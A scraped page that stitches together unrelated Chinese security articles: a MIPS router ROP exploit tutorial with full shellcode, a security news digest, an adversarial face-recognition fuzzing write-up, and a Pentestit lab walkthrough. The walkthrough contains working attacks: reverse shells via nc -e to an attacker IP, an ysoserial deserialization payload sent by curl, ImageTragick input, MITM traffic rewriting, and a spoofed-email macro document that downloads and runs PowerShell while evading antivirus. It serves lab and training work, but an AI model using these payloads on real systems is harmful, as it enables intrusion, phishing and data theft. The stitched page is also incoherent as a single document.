** ** **传送门** * * * 【技术分享】 IE浏览器漏洞利用技术的演变 ( 一） <http://bobao.360.cn/learning/detail/3021.html>
社区文章
# 路由器漏洞挖掘之栈溢出入门（三）ROP链的构造 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 前言 DVRF 的第二个栈溢出程序是 stack_bof_2，这题和上一道题的差异就在于这道题没有给我们后门函数， **需要自己构造 shellcode 来进行调用。** README 文件里也做了说明，所以这里的重点 **是 ROP 链的构造以及 sleep(1) 的用法。** ## 确定偏移 和上一道题一样，首先我们需要确定 ra 的偏移。 使用 patternLocOffset.py 生成 500 个长度的 pattern（或者使用 pwntools 里的自带的工具 cyclic），并开启 gdb 调试端口 nick@nick-machine:~/iot/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root$ python ../../../../tools/patternLocOffset.py -c -l 500 -f ./pattern [*] Create pattern string contains 500 characters ok! [+] output to ./pattern ok! [+] take time: 0.0106 s nick@nick-machine:~/iot/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root$ ./qemu-mipsel -g 23946 -L ./ ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./pattern`" 在 0x400928 处下断点，得到此时 ra 寄存器的值是 0x72413971 python ../../../../tools/patternLocOffset.py -s 0x72413971 -l 500 这里得到偏移是 508 个字节。 ## ROP 构造详解 这里溢出到 $ra 寄存器需要 508 个字节，后面的四个字节就是需要构造的 ROP 的地址。 ### 调用 sleep(1) 函数 之所以要调用 sleep 函数的原因， 调用 sleep 函数的前提是先布置好他的参数 $a0 = 1。 所以这里我们先在 libc 中搜索一下将参数 1 赋值给 $a0 寄存器的 `gadget： "li $a0,1"` gadget 的末尾是： jr $s1 所以在原来覆盖栈数据时候就要求我们能够 **覆盖 $s1 寄存器** ，以达到跳转到下一个 gadget 的目的。 但是在 main 函数的汇编语句的末尾，没有找到类似 `lw $s0,0x123($sp)` 这样的汇编语句，所以我们无法控制 $s1 寄存器 所以这里我们需要先找到一个 **将栈上的数据传递给 $s1 寄存器的 gadget** 这里使用 `mipsrop.tail()` 来搜索 gadget 找到的都不太能够满足我们的要求，这里根据下面这篇文章，找到一个特别不错的 gadget。 **也就是上图中`scandir` 函数的结尾的部分** <https://xz.aliyun.com/t/1511> 跳转到 0xAFE0 之后，我们就可以继续在原来的栈上布置下一步的 `gadget` 了。 * 在此之前我们还需要和上一篇的方法一样，在 gdb 调试中找到 libc 的基地址。（vmmap 或者 i proc mappings） 使用 `pwntools` 工具生成填充文件 from pwn import * libc_addr = 0x766e5000 payload = 'a' * 508 payload += p32(libc_addr + 0x0000Afe0) with open('stack2_fill','wb') as f: f.write(payload) print("OKn") 开启 gdb 调试： ./qemu-mipsel -g 23946 -L ./ ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./stack2_fill`" 还是断在 `0x400928` 处 单步，可见我们需要布置的下一个 gadget 的位置在 `$sp+0x3c` （ra 寄存器位置） 根据调试，我们需要在原来的 `payload` 后面 padding `0x3c` 个字节才能控制 ra 寄存器 libc_addr = 0x766e5000 payload = 'a' * 508 payload += p32(libc_addr + 0x0000Afe0) # jr $ra payload += 'b' * 0x3c # padding payload += 'c' * 4 # ra 在这填充的 0x3c 个字节中，我们对于 s0 – fp 寄存器的值都是可控的，那么接下来就好办了。在这 0x3c 个字节中， **拆分填充成这几个寄存器的值** 就行了。 我们还是采用上面那个 `0x0002FB10` 地址的 `gadget` ，ra 设置为这个地址，那么这里的 s1 寄存器的值就需要填充为下一个 `gadget` 的地址 * **这里不能直接填充为 sleep 函数的地址** ，因为我们这里没办法控制 ra 寄存器。如果直接调用 sleep 函数的话就没办法返回了。所以需要找到一个既可以调用 sleep 函数又可以控制 ra 寄存器的 **gadget** mipsrop.find("move $t9,$s3") 找到 `0x00021C34` 这个地址的 `gadget` 这里的 s3 寄存器就填充为 sleep 函数地址，调用完成之后继续返回到这个 gadget 的 `jr $ra`。 这里的 ra 寄存器的值就填充为下一个 `gadget` 的地址 这时的 `payload`： from pwn import * context.endian = 'little' context.arch = 'mips' libc_addr = 0x766e5000 sleep_offset = 0x0002F2B0 payload = 'a' * 508 payload += p32(libc_addr + 0xAfe0) # jr $ra payload += 'b' * (0x3c - 4 * 9) payload += 'a' * 4 # s0 payload += p32(libc_addr + 0x21C34) # s1 payload += 'a' * 4 # s2 payload += p32(libc_addr + sleep_offset) # s3 payload += 'a' * 4 # s4 payload += 'a' * 4 # s5 payload += 'a' * 4 # s6 payload += 'a' * 4 # s7 payload += 'a' * 4 # fp payload += p32(libc_addr + 0x2FB10) # ra #---------------stack 2 (0x21C34)------------------- payload += 'c' * 0x2c payload += p32(next_gadget_addr) ### 调用 shellcode 继续下一步的 `gadget` 的调用，我们这次使用 `mipsrop.stackfinder()` 找到 `0x000171CC` 这一处的 `gadget`。 这里的 $a0 寄存器是从栈上来取值， **我们就可以向 $a0 对应的位置填充我们的 shellcode。** 这里的 $s3 就需要在前一步的 gadget 中实现填充为类似 `jr $a0` 的 gadget 再次进行搜索，找到一处： Python>mipsrop.find("move $t9, $a0") ---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | ---------------------------------------------------------------------------------------------------------------- | 0x000214A0 | move $t9,$a0 | jalr $a0 | ---------------------------------------------------------------------------------------------------------------- 正好可以满足我们的条件。 因此在第二个栈的 `payload` 为： payload += 'c' * 0x24 payload += p32(libc_addr + 0x000214A0) # s3 payload += 'd' * 4 # s4 payload += p32(libc_addr + 0x171CC) # ra #payload += p32(libc_addr + 0x000214A0) # s3 #payload += 'd' * 4 payload += 'd' * 0x18 # shellcode payload += shellcode * **在 MIPS 指令集中，0x20 和 0x00 都是坏字节** 。因此要注意 gadget 的地址不能包含这两个值 在[这里](http://shell-storm.org/shellcode/files/shellcode-792.php)找到可用的 shellcode，往栈上填充就行了。 shellcode += "xffxffx06x28" # slti $a2, $zero, -1 shellcode += "x62x69x0fx3c" # lui $t7, 0x6962 shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp) shellcode += "x73x68x0ex3c" # lui $t6, 0x6873 shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e shellcode += "xf8xffxaexaf" # sw $t6, -8($sp) shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp) shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc shellcode += "xffxffx05x28" # slti $a1, $zero, -1 shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab shellcode += "x0cx01x01x01" # syscall 0x40404 在 gdb 中调试的效果是： 所以最后的 exp： from pwn import * context.endian = 'little' context.arch = 'mips' payload += "xffxffx06x28" # slti $a2, $zero, -1 payload += "x62x69x0fx3c" # lui $t7, 0x6962 payload += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f payload += "xf4xffxafxaf" # sw $t7, -0xc($sp) payload += "x73x68x0ex3c" # lui $t6, 0x6873 payload += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e payload += "xf8xffxaexaf" # sw $t6, -8($sp) payload += "xfcxffxa0xaf" # sw $zero, -4($sp) payload += "xf4xffxa4x27" # addiu $a0, $sp, -0xc payload += "xffxffx05x28" # slti $a1, $zero, -1 payload += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab payload += "x0cx01x01x01" # syscall 0x40404 shellcode = payload libc_addr = 0x766e5000 sleep_offset = 0x0002F2B0 payload = 'a' * 508 payload += p32(libc_addr + 0xAfe0) # jr $ra payload += 'b' * (0x3c - 4 * 9) payload += 'a' * 4 # s0 payload += p32(libc_addr + 0x21C34) # s1 payload += 'a' * 4 # s2 payload += p32(libc_addr + sleep_offset) # s3 payload += 'a' * 4 # s4 payload += 'a' * 4 # s5 payload += 'a' * 4 # s6 payload += 'a' * 4 # s7 payload += 'a' * 4 # fp payload += p32(libc_addr + 0x2FB10) # ra #---------------stack 2 (0x21C34)------------------- payload += 'c' * 0x24 payload += p32(libc_addr + 0x000214A0) # s3 payload += 'd' * 4 # s4 payload += p32(libc_addr + 0x171CC) # ra #payload += p32(libc_addr + 0x000214A0) # s3 #payload += 'd' * 4 payload += 'f' * 0x18 # shellcode payload += shellcode with open('stack2_fill','wb') as f: f.write(payload) 重新加载一下程序就可以 **getshell** ./qemu-mipsel -L ./ ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./stack2_fill`" **如果上面的 exp 用不了的话，也可以试试这个：** from pwn import * context.endian = ‘little’ context.arch = ‘mips’ libc_addr = 0x766e5000 sleep_offset = 0x0002F2B0 sleep_end_addr = 0x767144c8 shellcode = “” shellcode += “xffxffx06x28” # slti $a2, $zero, -1 shellcode += “x62x69x0fx3c” # lui $t7, 0x6962 shellcode += “x2fx2fxefx35” # ori $t7, $t7, 0x2f2f shellcode += “xf4xffxafxaf” # sw $t7, -0xc($sp) shellcode += “x73x68x0ex3c” # lui $t6, 0x6873 shellcode += “x6ex2fxcex35” # ori $t6, $t6, 0x2f6e shellcode += “xf8xffxaexaf” # sw $t6, -8($sp) shellcode += “xfcxffxa0xaf” # sw $zero, -4($sp) shellcode += “xf4xffxa4x27” # addiu $a0, $sp, -0xc shellcode += “xffxffx05x28” # slti $a1, $zero, -1 shellcode += “xabx0fx02x24” # addiu;$v0, $zero, 0xfab shellcode += “x0cx01x01x01” # syscall 0x40404 payload = ‘a’ * 508 payload += p32(libc_addr + 0xAfe0) # jr $ra payload += ‘b’ (0x3c - 4 9) payload += ‘a’ 4 # s0 payload += p32(libc_addr + 0x21C34) # s1 payload += ‘a’ 4 # s2 payload += p32(libc_addr + sleep_offset) # s3 payload += ‘a’ 4 # s4 payload += ‘a’ 4 # s5 payload += ‘a’ 4 # s6 payload += ‘a’ 4 # s7 payload += ‘a’ * 4 # fp payload += p32(libc_addr + 0x2FB10) # ra ———————-stack 2—————————- payload += ‘c’ 0x24 payload += p32(libc_addr + 0x000214A0) # s3 payload += ‘d’ 4 # s4 payload += p32(libc_addr + 0xAfe0) # ra ———————-stack 3—————————- payload += ‘a’ (0x3c-49) payload += p32(libc_addr + 0x000214A0) # s0 payload += ‘a’ 4 # s1 payload += ‘a’ 4 # s2 payload += ‘a’ 4 # s3 payload += ‘a’ 4 # s4 payload += ‘a’ 4 # s5 payload += ‘a’ 4 # s6 payload += ‘a’ 4 # s7 payload += ‘a’ 4 # fp payload += p32(libc_addr + 0x0001B230) # ra payload += ‘f’ * 0x28 payload += shellcode with open(‘stack2_fill’,’wb’) as f: f.write(payload) print(“OKn”) ## 总结 个人认为构造 `gadget` 的要点是要思路要清晰，对栈的布局要有一个清楚的了解。还有就是需要熟悉 mipsrop 工具的使用。多动手调试，多踩坑才会长经验。 ## 参考文章 <https://xz.aliyun.com/t/1511> <http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/>
社区文章
# 5月1日安全热点 - 通过多个NagiosXI漏洞，构造一个远程代码执行 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 【Vulnerability|漏洞】 1.Linux AF_LLC Double Free漏洞导致任意代码执行和权限提升 <http://t.cn/RuOpHDM> 2.通过多个NagiosXI漏洞，构造一个远程代码执行 <http://t.cn/RuW5b2u> 3.红帽企业版Linux 6 发布 java-1.7.0-openjdk 安全更新 <http://t.cn/RuW5bLN> 4.Ubuntu 多款应用安全更新 <http://t.cn/RmwYVtX> ## 【Security Tools|安全工具】 1.360火线(Fireline)：一款免费静态代码分析工具 <http://t.cn/RuWMZNr> 2.Infer：Facebook开源的一个静态代码分析工具 <http://t.cn/RuWMZ0w> ## 【Security Information|安全资讯】 1.Op GhostSecret：ThaiCERT查获了在索尼影业被黑事件中Cobra APT组织使用的其中一台服务器 <http://t.cn/RuOpHgh> 2.网络安全公司Kromtech的安全研究人员发现了一个MongoDB数据库，其中包含超过25,000 Bezop（BEZ）加密货币 用户的个人详细信息。 <http://t.cn/Rup3Lh5> 3.malwarebytes 每周安全资讯（4月23日至4月29日） <http://t.cn/RuOpHgK> 4.试图使用黑客技术帮助囚犯越狱，该黑客被判七年监禁 <http://t.cn/RuOpHeU> 5.部署大众汽车集团部分车型的车载信息娱乐（IVI）系统容易受到远程黑客攻击 <http://t.cn/RuOSAEg> 6.SamSam勒索软件开始进行针对性恶意软件投放 <http://t.cn/Ru0ePs5> 7.Twitter 也向剑桥分析研究人员出售了数据访问 <http://t.cn/RuW4Nt7> 8.NIST发布了“改进关键基础设施网络安全框架”1.1版，对版本1.1的更改包括身份验证和身份更新，自我评估网络安全风险，管理供应链中的网络安全和漏洞披露等 <http://t.cn/RuW5b4a> 9.微软希望通过新的TCPS项目来保护物联网和ICS设备 <http://t.cn/RuW5bbc> 10.“4.29首都网络安全日”企业大点评 <http://t.cn/RuWf0Q1> 11.北约2018“锁盾”演习关键词：电网、4G网络、无人机、净水厂 <http://t.cn/RuWf08u> 12.KRACK漏洞使医疗设备处于风险之中 <http://t.cn/RuW5bGW> ## 【Security Research|安全研究】 1.Endgame公司开源的Ember数据集，其中含有杀毒软件VirusTotal 2017年检测到的110万个PE文件的sha256哈希值 <http://t.cn/RuZbpgC> 2.滥用签名验证导致安全问题 <http://t.cn/RuWXpAo> 3.逆向恶意软件的tips <http://t.cn/RuWXp2L> ## 【Malware|恶意软件】 1.Nymaim 恶意软件新的域名生成方法分析 <http://t.cn/RuNBGMn> 2.Spartacus勒索软件分析 <http://t.cn/RuW5bci> 【以上信息整理于 [https://cert.360.cn/daily](https://cert.360.cn/daily) 】 **360CERT全称“360 Computer Emergency Readiness Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。** **微信公众号：360cert**
社区文章
### 人脸识别 上周末在T00ls 沙龙听议题,最后的议题里提到人脸识别的绕过思路来了兴致,加上最近也在研究机器学习相关的知识,觉得很有意思 在机器学习的算法里,无论是做预测还是分类,都离不开 **概率**.人脸识别是机器学习里的分类,识别出来的结果是根据此前学习到的所有人脸数据的检测概率来判断,下面是人脸识别测试,测试数据使用奥巴马,拜登和马化腾三人的照片 在这里可以看到,奥巴马的人脸识别,可以准确识别到前两个学习样本,评分为0.35127653 和0.43744923 ;拜登的人脸识别也与学习样本相匹配(第三个学习样本),评分为0.36850478 ;最后一位是马化腾,人脸识别评分为0.35794126 .注意,在这里数值越低代表相似度越高 这些评分意义在于分析人脸的相似度,我们先看一下face_recognition 的代码实现 def compare_faces(known_face_encodings, face_encoding_to_check, tolerance=0.6): """ Compare a list of face encodings against a candidate encoding to see if they match. :param known_face_encodings: A list of known face encodings :param face_encoding_to_check: A single face encoding to compare against the list :param tolerance: How much distance between faces to consider it a match. Lower is more strict. 0.6 is typical best performance. :return: A list of True/False values indicating which known_face_encodings match the face encoding to check """ return list(face_distance(known_face_encodings, face_encoding_to_check) <= tolerance) compare_faces() 函数根据face_distance() 函数对比两张图片的相似度做对比,当相似度小于默认值0.6 时,即判断为同一个人 ### How to Fuzzing 让两张不是同一个人的识别成为同一个人,本质上是干扰人脸识别算法的判断概率.引用PPT 的原话:"只需要对每一个像素点做极小的修改,就能影响数据点被分类的结果.必定存在一个与原本数据相差极小而被判断为任意一个类别的数据".简单地来说,通过在脸部附近随机生成一些像素点,会影响到最终识别结果.对原议题Slide 有兴趣的话可以点这里[PPT 链接](http://mp.weixin.qq.com/s/pi9DdgxSUREQSBYS9EBwIA) 我们先使用face_recognition 识别出人脸位置,Demo 代码如下: from PIL import Image import face_recognition image = face_recognition.load_image_file("ponyma.png") # 这里需要根据图片位置改一下路径 face_locations = face_recognition.face_locations(image) print("I found {} face(s) in this photograph.".format(len(face_locations))) for face_location in face_locations: top, right, bottom, left = face_location print("A face is located at pixel location Top: {}, Left: {}, Bottom: {}, Right: {}".format(top, left, bottom, right)) face_image = image[top:bottom, left:right] pil_image = Image.fromarray(face_image) pil_image.show() 运行这个Demo ,结果如下: 我们着重对人脸区域进行像素测试,把上面的接口拿过来Fuzzing ,构造区域 face_location = get_face_location(fuzzing_image_path) # 获取人脸位置 random_fuzzing_location_top = face_location[0] random_fuzzing_location_bottom = face_location[2] random_fuzzing_location_left = face_location[3] random_fuzzing_location_right = face_location[1] random_pixel_data = (random.randint(0,255), # 生成一个随机色素的点 random.randint(0,255), random.randint(0,255)) random_location = (random.randint(random_fuzzing_location_left,random_fuzzing_location_right), # 生成一个随机位置 random.randint(random_fuzzing_location_top,random_fuzzing_location_bottom)) 然后针对这个特定的区域进行画点,假设随机生成的点可以使人脸匹配算法的相似度得到提升,就把它记录下来;如果没有提升,就撤回到原来的像素 last_pixel_data = image.getpixel(random_location) # 对原来图像上的这个点的色素进行备份 draw.point(random_location,random_pixel_data) fuzzing_face_image = image.convert('RGB') # 这几行是看源码提取出核心逻辑写的,提高执行效率,如果不这样做的话,就需要PIL 保存fuzzing fuzzing_face_array = array(fuzzing_face_image) # 图片然后再用face_recognition 库加载,效率很低 fuzzing_face_data = face_recognition.face_encodings(fuzzing_face_array)[0] compare_rate = face_recognition.face_distance([source_face_data],fuzzing_face_data) # 对比人脸识别相似度 print 'Compare Rate =',compare_rate,' Random Location =',random_location,' Random Pixel Data =',random_pixel_data if compare_rate < last_best_compare_rate : # 判断Fuzzing 生成的像素点有没有让相似度得到提升,一步一步向目标逼近 last_best_compare_rate = compare_rate print 'New Study Rate:' ,last_best_compare_rate Fuzzing 过程(gif 有些大,加载需要些时间): 最后出来的结果: Obama Test : 奥巴马与奥巴马的图像识别结果,评分:0.3457349 `obama\obama.jpg`和`obama\obama2.jpg` Ponyma Test : 奥巴马与马化腾的图像识别结果,评分:0.7926859 `obama\obama.jpg`和`ponyma\ponyma.png` Ponyma Bypass Test : 奥巴马与带特效的马化腾图像识别结果,评分:0.54513165 `obama\obama.jpg`和`ponyma\ponyma.png_bypass_check.jpg` 完整代码在我的Github:[face_recognition_fuzzing](https://github.com/lcatro/Machine-Learning-Note/tree/master/face_recognition_fuzzing)
社区文章
# 旧酒犹香——Pentestit Test Lab第九期（下） ##### 译文声明 本文是翻译文章，文章原作者 alexeystoletny，文章来源：habr.com 原文地址：<https://habr.com/company/pentestit/blog/303700/> 译文仅供参考，具体内容表达以及含义原文为准。 ## FTP 使用nmap服务器172.16.0.4进行扫描后，我们找到了开放端口21（ftp）和端口22（ssh）。使用之前的ssh账号信息无法登录，所以围绕FTP来看。 ProFTPD 1.3.5有一个已知的漏洞。该漏洞允许在未认证的情况下复制文件，加上Web服务可以实现任意文件下载，比如复制/etc/passwd到/var/www。问题是这台机器上的Web服务器没有运行… 让我们尝试连接到ftp服务器： 匿名登录可用，在dist文件夹中我们找到FTP服务proftpd的源代码。放在这里肯定是有原因的，我们试着研究它。使用ftp客户端（lcd和get命令）下载并解压缩proftpd-dfsg-1.3.5.tar.bz2存档，并尝试查找代码中的更改。搜索CYBEAR子字符串找到src/help.c文件： [ProFTPD版本1.3.3c中内置了类似的后门程序。](https://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor) 让我们尝试使用提供的后门！ 好吧，在/home文件夹中我们找到了一些有用的文件 除了“旧”文件夹中的标记之外，我们还发现： * 新帐户m.barry， * m.barry/upload/test_scripts文件夹中的测试脚本， * 带密码的cisco路由器配置文件 * 带有密码m.barry的trouble.cap文件，表明dev服务器可能使用FTP从test_scripts文件夹下载Python脚本并启动它们。 不幸的是，因为没有足够的权限，不能简单地查看test_scripts中包含的文件，所以必须寻找另一种攻击dev服务器的方法。 ## CISCO 从cisco开始尝试使用找到的信息。我们根据网络拓扑回忆IP并使用得到的密码登录路由器： 得到token！现在让我们尝试破解enable 3的哈希： 找到密码，尝试并获得特权模式： 一切准备就绪。路由器的配置文件允许你进行流量监控： 借助这些命令，可以研究通过该子网（即门户网站）的流量。 事实证明，有机会以不同的方式通关，我个人不需要监控流量。因此，我建议将这部分留给读者继续进行。 ## NAS和未受保护的备份 继续探索不同的子网，我们遇到了一个NAS服务器： 打开端口3260暗示能够连接到iscsi。如果你关注安全新闻，可能听说过意大利公司Hacking Team的黑客行为（CyBear32c的原型便是这个）。在网络上，你可以找到有关攻击原理的文章，从中了解很多精彩的内容。 让我们从端口转发到本地机器开始： 安装iscsiadm并尝试连接： 尝试连接，失败。 我们打开调试模式，看到iscsiadm正在尝试连接到192.168.0.3，但是它不在我们的子网中。让我们尝试使用[sshuttle](http://sshuttle.readthedocs.io/en/stable/installation.html)替代端口转发。这样我们可以直接访问真实IP，而无需单独转发每个端口。 连接： 连接成功！现在查看磁盘信息： 现在需要连接这个vmdk： 它在磁盘上开始偏移位置为63 * 512字节，即32,256： 之后，Kali能够自动检测磁盘并直接访问内容： 我们找到用户token_nas_token，但文件系统中没有任何东西。将注册表数据库从WINDOWS\system32\config复制到本地，并尝试查看保存的密码哈希： 为了缩短哈爆破时间，我们将使用在线爆破服务[rainbowtables.it64.com](http://rainbowtables.it64.com/)。你可以自己本地爆破，但在在线服务的帮助下会更快。 我们输入现有的LM哈希值（每行中转储的第一个哈希值）并查看结果。LM哈希是使用大写后的密码计算出来的（译者注：可自行百度LM哈希原理），因此在得到结果后需要使用NTLM哈希恢复正确的密码。 可以在数据库中找到所有哈希值及其相应的密码。将它们（大写）保存在一个单独的文件中，并使用john带上-rules=NT选项来查找正确的密码： 并使用-show选项获取密码： ask的token在token_nas_token的密码中，同时还获得了d.rector的新凭据。我们继续！ ## Terminal 如上所述，在一个地方找到的密码可能出现在另一个地方。在这种情况下，通过扫描terminal2服务器端口，我们得到一个打开的RDP（译者注：国内俗称3389）： 让我们尝试使用来自NAS的d.rector凭据进行连接： token就在桌面上！ ## DEV和MITM 通过访问本地子网192.168.3/24，我们开辟了新的攻击途径。回想一下网络拓扑图，加上在FTP服务器上找到的trouble.cap： 如在trouble.cap中所见，dev服务器很可能在访问FTP test_scripts文件夹下载所有*.py文件后执行了它们。只有root用户才能获取此文件夹的访问权限。 现在我们有了一个terminal服务器，Intercepter-NG位于其中，我们可以轻松进行MITM攻击。我们来试试吧！ 从文件夹C\Intercepter-NG打开Intercepter-NG。第一步是扫描本地网络。右键单击表中的空白区域，设置防止ARP扫描超时并启动云安全扫描。 同时，Intercepter在其子网中发送ARP请求以确定其中的现有主机，然后尝试确定每个主机上安装的操作系统。 好吧，已经定义了两个主机： Stealth IP是一个不存在的IP地址，Intercepter用它来执行MITM攻击。 由于客户端和服务器位于不同的子网上，因此它们将通过网关相互通信; 我们将3.3添加到NAT，并将3.254添加为网关。 同时需要在ftp服务器上创建一个目录（dev将进入），而不是利用原来的upload文件夹，并且新建目录名称应具有与“upload”一样多的字符，因为Intercepter-NG只能替换相同长度的流量。 当然，在test.py脚本中，我们将设置有效负载-反弹shell到172.16.0.2的6666： 配置拦截器： 流量转换器将用.uploa替换upload，因此，当m.barry进行CWD上传时，它将进入目录.uploa并从那里下载并执行我们的脚本，从而创建一个反向shell。 我们在SSH上开启监听： 我们按下三个按钮打开Incercepter：首先是右上方的常见嗅探，然后是NAT，然后是ARP中毒。 在一分钟内我们得到了shell： 同时发现了服务器的token： ## “Tragick”SITE-TEST 现在让我们将注意力转向站点测试服务器。像往常针对Test Lab的Web服务一样，尝试运行whatweb和dirb来找出服务器上的内容。 该站点是用PHP框架Laravel编写的。此外，还包括详细的报错信息： 从这里，你通常可以获得有关服务器路径等的信息，这些信息对于SQL注入等很有帮助。但在这种情况下，它对我们没有多大帮助…… 使用dirb很快就找到URL： 在管理面板中使用已经收集的凭据尝试登录，都没成功。我们切换到照片上传的地方，简单尝试提交： 再次下载图片，但无法找到添加这些图片的位置（虽然dirb也找到了upload文件夹，但其中的文件无法通过其原始名称访问）。 让我们尝试ImageMagick中的一个漏洞，它被称为[ImageTragick](https://imagetragick.com/)。 构造要下载的文件： 并在SSH服务器上监听端口1234。填写表单并使用上面显示的文本内容加载文件oops.jpg。 连接成功！在根文件夹（cd/）中，我们看到token.txt： ## 打开PORTAL 让我们尝试探索门户服务器，从端口扫描开始吧： 发现了端口8080，我们实际上看到了门户网站： 尝试使用之前找到的密码。例如，使用t.smith和其密码登录成功。密码可以重复使用两次 – 在terminal2和这里。 获得了一页“假期信息”（包含新用户名）：尝试登录或获取a.petrov登录的密码 – 但没有成功。注意cookie： 看起来像base64，解码： 这是一个以md5形式存储用户名和密码哈希的Java对象。尝试改变名称a.petrov大小写，但是不起作用。客户端设置的对象到达服务器后将被恢复，按照这个思路做下去： 将对象从base64字符串形式恢复为二进制格式然后再恢复到内存（反序列化）时，[可以](http://frohoff.github.io/appseccali-marshalling-pickles/)执行任意代码（Jenkins漏洞就是这样）。我们可以使用[ysoserial工具](https://github.com/frohoff/ysoserial/releases)在服务器上执行任意命令。其原理是生成一个Java对象，在反序列化时执行需要的命令（在本文例子中是反弹shell）。 通过下面的命令将ysoserial生成的内容以base64-cookie的形式发送到bash： curl -b ‘userInfo=”‘$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 ‘nc -e /bin/sh 172.16.0.2 1235’ | base64 | tr -d ‘\n’)'”‘ ‘http://192.168.1.2:8080/index.jsp’ 执行期间发生错误： 我们发现同样的问题在[github](https://github.com/frohoff/ysoserial/issues/17)中被指出，并且已在代码仓库中修复，但尚未编译在发行版中。所以需要git clone新版本，安装maven并在本地编译得到修复后的程序。 xxxxxxxxxx apt-get install maven git clone https://github.com/frohoff/ysoserial.gi mvn compile package 将程序更新到Commons-Collections5： curl -b ‘userInfo=”‘$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 ‘nc -e /bin/sh 172.16.0.2 1235’ | base64 | tr -d ‘\n’)'”‘ ‘http://192.168.1.2:8080/index.jsp’ 在ssh服务器上监听端口1235，得到shell。 在根文件夹中找到token.txt，这样只剩下一个token了。 在研究了一个小门户后，我们在crontab中发现了一些有趣的东西：邮件check脚本，其中包含邮件中的B.muncy用户名和密码。 ## Roundcube Mail 发现是Roundcube服务器，虽然Roundcube存在许多漏洞，但是这里所有已知的漏洞都被修复了。 让我们试试其他途径。我们使用b.muncy的密码登录 进入邮箱：邮箱是空的。但是，由于门户网站有一个自动检查邮件的机器人，我们会尝试向我们已知的其他帐户发送邮件。 其中一个r.diaz回信了！我们正在尝试向他发送其他内容。 我们得到了答案： 在与机器人交谈之后，发现需要使用社会工程学。我们尝试向bot发送不同的文件：PDF，Word文档等。机器人对其中一个作出了反应！ 如果您在附件中发送Word文档，它会发出一个token和一条消息，指出只有来自r.lampman的文件才能打开。我们试着去做吧！ ## Terminal 在终端服务器上，rdp的端口3389关闭，其余部分没什么有用的。无论如何，需要r.diaz打开Word文档！ 我假设Microsoft Security Essentials安装在终端服务器上，就像它在terminal2上一样，并在本地安装了具有相同防病毒功能的Windows，以便在发送文档之前在现场进行测试。 在这种情况下，攻击变成了多阶段。要在终端上进行会话，我们需要： * 学习如何从r.lampman发送r.diaz邮件（我们没有他的邮箱密码）， * 使用反向shell payload创建文档， * 绕过Microsoft Security Essentials防病毒软件， * 在计算机端口443上监听（仅从网络内部打开80和443）。 ### 发送信件 通过脚本使用b.muncy登录（但将发件人设置为r.lampman）向r.diaz发送邮件。 这里有几件重要的事情： * 替换FROM字段的值 * 替换正确的MIME类型，以便明确发送Word文档 * 不要忘记在base64中对文档进行编码，以免在传输过程中被破坏 * 将172.16.0.1的587端口转发到本地机器： ### 生成有效Payload 现在需要创建一个通过杀软检测的Word文档。经过对此尝试后（在真正的攻击之前，可以在本地环境中进行测试），终于找到了一个可行的版本。 我们不会立即将整个Payload保存到文档中，而是将其从我们的服务器下载。为此，我们将执行以下操作： 1.使用setoolkit创建有效Payload： 选择选项1（社会工程攻击），然后选择9（Powershell攻击向量），然后选择1（Powershell Alphanumeric Shellcode Injector）： 在本地计算机上启动Web服务并从/root/.set/reports/powershell复制生成的Payload到/var/www/html/payload.txt： 检查文件是否可访问： 2.创建文档 我利用[这篇文章的方法](http://null-byte.wonderhowto.com/how-to/create-obfuscate-virus-inside-microsoft-word-document-0167780/) 首先需要混淆下载Payload的命令： powershell.exe “IEX ((new-object net.webclient).downloadstring(‘http://<your_ip>/payload.txt’))” 为此，可以使用[此处的Java applet](https://www.dropbox.com/s/38g95s4g2v7eclj/Obfuscate.jar?dl=0)，运行： 输入： powershell.exe “IEX ((new-object net.webclient).downloadstring(‘http://<your_pentestit_ip>/payload.txt’))” 获取结果并粘贴到文档中。以防万一我添加了Document_Open()。 需要注意的是，添加宏时，应使用docm扩展名将其保存在文档中，而不是保存在Normal模板中。 现在还差最后一步。 3.启动Metasploit 在发布之前，我们再次整理下要点： * Payload可从<http://your_ip/payload.txt>获得。 * 172.16.0.1:587被转发到本地127.0.0.1。 * 该文档与发送邮件的脚本一起置于文件夹中。 速度！ 在一分钟内： 转到C:\Users\r.diaz\Desktop 获取token！ ## SSH-TEST – 最后的障碍 最后一个服务器，到目前为止我们还没有在网络中找到任何线索。我们扫描完所有端口后，也没有任何开放端口的响应。如图，几乎所有端口都使用RST数据包（closed）对我们做出响应，并且剩下的三个也丢弃了所有访问数据包。 这表明这些端口需要“knock”，希望端口22（ssh）能够以正确的组合打开，使得我们将有时间连接它。 顺便一提，在拿下ssh服务器一开始，我们在用户d.nash的.ssh文件夹中找到了密钥，可以确定的是在这里能派到用场： 因此，执行以下操作来“knock”开正确的端口： 使用sshuttle直接转到服务器（需要指定所需的子网以保持互联网正常访问）： 将d.nash id_rsa密钥复制到本地： 安装knock实用程序，它将knock必要的端口： 尝试这三个端口的6种组合，其中一种工作正常！ 这是最后一个token！成功过关！ ## 后记 本文档仅介绍了通关的一种方法。我相信有很多选择。如果你知道一些有趣的方法来解决这个或那个问题，我在这里没有提到，我很乐意在评论中了解它。 